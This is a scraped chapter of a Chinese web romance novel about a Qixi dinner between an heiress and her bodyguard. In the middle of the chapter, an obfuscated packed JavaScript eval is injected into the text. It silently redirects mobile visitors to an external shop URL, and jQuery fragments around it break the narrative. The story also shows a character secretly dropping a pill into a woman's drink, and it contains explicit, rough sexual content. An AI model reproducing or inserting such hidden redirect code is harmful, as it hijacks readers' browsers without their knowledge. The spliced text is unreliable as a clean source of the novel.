文趣网 > 都市小说 > 这个保镖不太冷 > 35. 她和暴砶的记忆
    池荔看他一眼,也没问他要把自己带到哪去,就又转回头继续透过挡风玻璃望向前方的路。

    反正他也不会把她给拐卖了。

    暴砶确实没有拐卖她,而是把她带到了后海边一个做现代欧洲菜的餐厅。

    暴砶跟服务生报了名字,服务生便带他们顺着那个氛围感极强的旋转楼梯往楼上走。

    池荔知道,这样的餐厅都是要提前预定的,尤其是七夕这种需要仪式感的日子,甚至得提前几周才能定到位置。

    这么说来,暴砶定这个餐厅的时候他们才刚认识,甚至他在他们还不认识之前就定好了,根本就不是为了带她来!

    池荔分析能力超强,她转头看他,语气悠悠道:“你什么时候定的餐厅?”

    暴砶说:“今天。”

    池荔不接他的话了,直接问给他们带路的服务生:“你们这里需要提前多久预定?”

    服务生如实道:“七夕的位置两周前就定光了。”

    池荔挑眉看暴砶,一副你的谎言被我当场拆穿的模样,问他:“所以,你原本是要带谁来?”

    暴砶听明白她的误会了,轻笑一声,说:“这里的老板是我朋友,我今天特意让他帮忙安排的,本来就是带你来。”

    服务生已经带着他们到了二楼那个拥有绝佳视角的小露台。

    这露台是与其他就餐区分开的单独区域,不算太大的空间里花木繁盛,绿意盎然,除了餐桌椅之外,旁边还摆放着成套的沙发茶几和一个小型的酒水台。

    服务生说这露台是老板的自留区,平时不对外接待普通客人,只供老板和朋友们聚会使用。

    池荔白了服务生一眼,刚才明知道带他们来这个位置,为什么不直接说,非要等到了地方再大喘气?

    服务生浑然不觉池荔的小表情,他帮两人拉开椅子请人坐下,又递上精美菜单请他们点菜。

    暴砶是不常吃西餐的,便把菜单推给池荔。而长年游荡世界各地的池荔连菜单都懒得看,直接向服务生询问自己想吃的菜能不能做或者让他推荐。

    待他们点好菜,服务生就暂时先退下了。

    可小作精哪会轻易放过暴砶?

    她唇角微翘,笑容狡黠道:“你凭什么提前安排我的晚餐?万一我有其他约会呢?”

    暴砶看着她的眼睛,脸上像是有一丝若有似无的笑意,说:“你不会有其他约会。”

    池荔噘起嘴,假装生气不搭理他了。

    她站起身走到低矮的玻璃围栏边,楼前没有任何建筑遮挡,一切美景都能尽收眼底。

    远眺是无边浪漫的后海夕阳,俯瞰便是繁华绮丽的酒吧长街。

    池荔去过很多地方,看过很多美景,但好像今天这抹即将完全没入地平线的橙红色夕阳又要在她的记忆中狠狠添上一笔了。

    这是她和暴砶一起拥有的记忆。

    暴砶……

    察觉到暴砶好像没有站在自己身边看夕阳,池荔疑惑地回头看向餐桌的位置,那里已经空了。

    目光又在露台各处掠过,依然没有他的身影。

    池荔在心里轻轻“切”了一声,他也不打声招呼就跑了,可别是要给她搞什么所谓的惊喜,她才不想破坏这欣赏美景的心情呢。

    手机铃声响起,是元恺。

    那边似乎很安静,元恺问她:“荔,在干嘛?”

    “看夕阳。”

    顿了两秒,他又问:“跟暴砶吗?”

    “嗯。”

    池荔感觉空气好像忽然变得安静了,手机那端能听到元恺轻微的呼吸声,他却不再说话。

    池荔反问他:“你在干嘛?”

    元恺收起失落的表情,说:“做任务。”

    话落,电话那端传来了一个有些距离的女声:“小景,你在哪?”

    池荔虽然没见过孟迪,但她猜那应该是孟迪的声音。因为元恺说他在做任务,那就是还在通过孟迪调查能对付林美芸的证据。

    池荔说:“辛苦了,男孩子在外面也要保护好自己。”

    元恺应了一声孟迪的召唤,说在吧台给她拿酒,然后他把一颗小小的白色药片丢进杯子里。

    看着那药片在酒中瞬间稀释开的同时,他又对着手机小声说:“知道了,我晚点再给你打电话。”

    服务生已经将他们的菜送上来了,也在杯子里替他们倒好了香槟,暴砶才拎着一束花匆匆跑回来。

    “送你的。抱歉,我来晚了。”

    一束花的惊喜,她还是可以接受的。

    池荔笑着接过那捧粉色花束,不是能够与她豪门千金身份相匹配的昂贵品种,但却开得自然灵动、生机勃勃。

    她问:“你以前也是晚上才给女孩子买花吗?”

    “以前没买过,你是第一个。”

    池荔笑着“哦”了一声,问他:“这是什么花?”

    “蔷薇。”暴砶顿了几秒,又说:“长得像你。”

    池荔低头在花束上闻了闻,确实是她常用的那个身体乳的味道。她向来不喜欢太浓烈的香味,这个味道就刚刚好。

    可暴砶这是什么形容词呀?这花长得像她一样好看?

    最后一丝橙红色已经完全被地平线吞没了,外面又换了另一种美到令人心动的璀璨夜色。

    露台墙上的昏黄色氛围灯亮起,服务生也在桌上燃起了玻璃烛台。

    池荔抱着粉色蔷薇回到餐桌旁,将那花找了个极好的角度放在桌角,又拿起手机拍了张照片发到朋友圈。

    没写任何文字,只有一张照片,但看到这张照片的每个人都会有一种“懂的都懂”的心照不宣。

    池荔放下手机,举起香槟杯递到桌子中央,暴砶便也拿着杯子跟她轻轻一碰。

    这边两人在愉悦而浪漫地共进晚餐,另一边的池晟川看到池荔的朋友圈却气红了眼,直接将手机狠狠摔到了地上。

    他当然能想到送池荔花,跟她一起过七夕的人是暴砶。

    等到助理魏捷闻声跑进办公室的时候,里面已是一片狼藉,办公桌周边的一切全都被砸烂了。

    魏捷有些庆幸,幸好他在下班前就把所有需要晟总签字的文件都处理好送回各部门了。

    不然,他这个贴身助理就是再巧舌如簧,也解释不了晟总突然发疯砸烂办公室和毁了所有文件的事。

    魏捷赶紧跑过去,抽出纸巾把桌上那些玻璃杯碎片推到最角落,以免划伤池晟川。

    然后才轻声问他:“晟总,需要去酒店,再叫个女孩子过去吗?”

    以往

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17757629|204764||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,池晟川发疯的时候并不多,但如果遇到心情不好,通常都会去他在酒店的长租房,再让魏捷送个做外围的女孩子过去。

    身体上痛痛快快地发泄一场,第二天就又是池氏集团那年轻有为、驰骋商场的最帅副总裁了。

    或许是身边再没什么东西可砸了,池晟川重新坐回椅子上,摘下眼镜,疲惫地捏了捏鼻梁,说:“嗯。”

    魏捷处理这种情况已是游刃有余,他很快安排好了保洁人员来打扫副总裁办公室,也给了对方一笔不菲的封口费。

    等到池晟川从酒店浴室洗完澡出来时,魏捷安排来的女孩也已在其他房间洗好澡,只穿了件浴袍等在床边了。

    无需任何事前交流,池晟川直接扯开自己腰间的绑带,又一把将人推倒在松软的大床上。

    魏捷帮他找的女孩都来自同一个地方,每个行业都有自己的职业操守,她们也不例外。

    这些女孩的体检甚至可以做到一天一次,魏捷也每次都会尽责地检查报告内容,让池晟川即使不做措施也没有任何顾虑。

    但此刻对方显然还没准备好,突如其来的痛感让她忍不住叫出声:“池总,慢……慢点。”

    声音轻柔又带点若有似无的娇嗔,池晟川莫名觉得很好听,心脏似乎有一股电流穿过。

    他停住动作,叫她:“再说一次。”

    女孩愣了两秒,看不出他的情绪,不知道他是不是生气了,只能讨好地抬手勾住他的脖子,说:“池总,咱们慢慢来,好吗?”

    池晟川闭了闭眼,他知道自己为什么喜欢这声音了,这声线和语气都很像池荔。

    他抬手握住女孩的下颌,低沉道:“叫我晟川,说你爱我。”

    女孩将唇轻触在他的唇角,声音含糊地缓缓流出:“晟川,我爱你。”

    池晟川闭着眼睛仰起头,呼吸因为女孩的话而逐渐变得混乱。

    几秒钟后,他又毫无预兆地猛然用力,女孩再次吃痛地尖叫出声。

    池晟川却丝毫没有收住力道的意思,只冷冷地叫她:“继续说。”

    女孩只能继续声音断续道:“我爱你……晟川……”

    最后一句“晟川”之后,女孩有些受不住便再没有后续。

    可不知为何,池晟川脑海中却响起了不久之前池荔跟他说过的那句:“我不喜欢烂黄瓜。”

    他猛然张开眼睛,像是从睡梦中惊醒一般,胸腔因为呼吸急促而剧烈起伏。

    女孩也感受到了他的异样,她抬手摸到他的胸口,说:“你怎么了?”

    池晟川没说话,只起身下床,径直走去窗边的沙发坐下,又烦躁地燃起一支烟,冷眼看着那女孩有些慌乱地抓过扔在床角的浴袍套在身上。

    直到那女孩也光脚站上地毯,池晟川才在吐出烟雾的同时,用嘶哑的嗓音叫她:“过来。”

    女孩便顺从地走到沙发前,蹲在他腿边仰头看他。

    池晟川夹烟的手搭在沙发边缘,另一手直接按住女孩的头,把她压了下来。

    随着女孩不停地吞吐,他手中的烟也已经慢慢燃尽。

    他扔掉那烟头,缓缓仰头枕在沙发靠背,闭上了眼睛。

    他想,如果他不再亲自用身体解决问题,他就不是池荔所说的烂黄瓜了。